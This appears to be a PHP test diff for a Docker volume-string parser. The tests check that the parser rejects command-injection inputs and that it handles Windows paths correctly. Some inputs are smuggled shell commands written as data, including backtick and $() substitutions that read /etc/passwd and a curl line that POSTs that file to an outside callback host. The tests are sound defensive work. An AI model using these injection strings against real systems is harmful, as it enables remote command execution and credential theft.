test('parseDockerVolumeString rejects environment variables with command injection in default', function () {
$maliciousVolumes = [
'${VAR:-`whoami`}:/app',
'${VAR:-$(cat /etc/passwd)}:/data',
'${PATH:-/tmp;curl attacker.com}:/app',
];
foreach ($maliciousVolumes as $volume) {
expect(fn () => parseDockerVolumeString($volume))
->toThrow(Exception::class);
}
});
test('parseDockerVolumeString accepts environment variables with safe defaults', function () {
$safeVolumes = [
'${VOLUME_DB_PATH:-db}:/data/db',
'${DATA_PATH:-./data}:/app/data',
'${VOLUME_PATH:-/var/lib/data}:/data',
];
foreach ($safeVolumes as $volume) {
$result = parseDockerVolumeString($volume);
expect($result)->toBeArray();
expect($result['source'])->not->toBeNull();
}
});
test('parseDockerVolumeString rejects injection in target path', function () {
// While target paths are less dangerous, we should still validate them
$maliciousVolumes = [
'/data:/app`whoami`',
'./data:/tmp/evil$(id)',
'volume:/data; curl attacker.com',
];
foreach ($maliciousVolumes as $volume) {
expect(fn () => parseDockerVolumeString($volume))
->toThrow(Exception::class);
}
});
test('parseDockerVolumeString rejects the exact example from the security report', function () {
$exactMaliciousVolume = '/tmp/pwn`curl https://78dllxcupr3aicoacj8k7ab8jzpqdt1i.oastify.com -X POST --data "$(cat /etc/passwd)"`:/app';
expect(fn () => parseDockerVolumeString($exactMaliciousVolume))
->toThrow(Exception::class, 'Invalid Docker volume definition');
});
test('parseDockerVolumeString provides helpful error messages', function () {
$maliciousVolume = '/tmp/evil`command`:/app';
try {
parseDockerVolumeString($maliciousVolume);
expect(false)->toBeTrue('Should have thrown exception');
} catch (Exception $e) {
expect($e->getMessage())->toContain('Invalid Docker volume definition');
expect($e->getMessage())->toContain('backtick');
expect($e->getMessage())->toContain('volume source');
}
});
test('parseDockerVolumeString handles whitespace with malicious content', function () {
$maliciousVolume = ' /tmp/evil`whoami`:/app ';
expect(fn () => parseDockerVolumeString($maliciousVolume))
->toThrow(Exception::class);
});
test('parseDockerVolumeString rejects redirection operators', function () {
$maliciousVolumes = [
'/tmp/file > /dev/null:/app',
'/tmp/file < input.txt:/app',
'./data >> output.log:/app',
];
foreach ($maliciousVolumes as $volume) {
expect(fn () => parseDockerVolumeString($volume))
->toThrow(Exception::class);
}
});
test('parseDockerVolumeString rejects newline and tab in volume strings', function () {
// Newline can be used as command separator
expect(fn () => parseDockerVolumeString("/data\n:/app"))
->toThrow(Exception::class);
// Tab can be used as token separator
expect(fn () => parseDockerVolumeString("/data\t:/app"))
->toThrow(Exception::class);
});

View file

@ -0,0 +1,64 @@
<?php
test('parseDockerVolumeString correctly handles Windows paths with drive letters', function () {
$windowsVolume = 'C:\\host\\path:/container';
$result = parseDockerVolumeString($windowsVolume);
expect((string) $result['source'])->toBe('C:\\host\\path');
expect((string) $result['target'])->toBe('/container');
});
test('validateVolumeStringForInjection correctly handles Windows paths via parseDockerVolumeString', function () {
$windowsVolume = 'C:\\Users\\Data:/app/data';
// Should not throw an exception
validateVolumeStringForInjection($windowsVolume);
// If we get here, the test passed
expect(true)->toBeTrue();
});
test('validateVolumeStringForInjection rejects malicious Windows-like paths', function () {
$maliciousVolume = 'C:\\host\\`whoami`:/container';
expect(fn () => validateVolumeStringForInjection($maliciousVolume))
->toThrow(\Exception::class);
});
test('validateDockerComposeForInjection handles Windows paths in compose files', function () {
$dockerComposeYaml = <<<'YAML'
services:
web:
image: nginx
volumes:
- C:\Users\Data:/app/data
YAML;
// Should not throw an exception
validateDockerComposeForInjection($dockerComposeYaml);
expect(true)->toBeTrue();
});
test('validateDockerComposeForInjection rejects Windows paths with injection', function () {
$dockerComposeYaml = <<<'YAML'
services:
web:
image: nginx
volumes:
- C:\Users\$(whoami):/app/data
YAML;
expect(fn () => validateDockerComposeForInjection($dockerComposeYaml))
->toThrow(\Exception::class);
});
test('Windows paths with complex paths and spaces are handled correctly', function () {
$windowsVolume = 'C:\\Program Files\\MyApp:/app';
$result = parseDockerVolumeString($windowsVolume);
expect((string) $result['source'])->toBe('C:\\Program Files\\MyApp');
expect((string) $result['target'])->toBe('/app');
});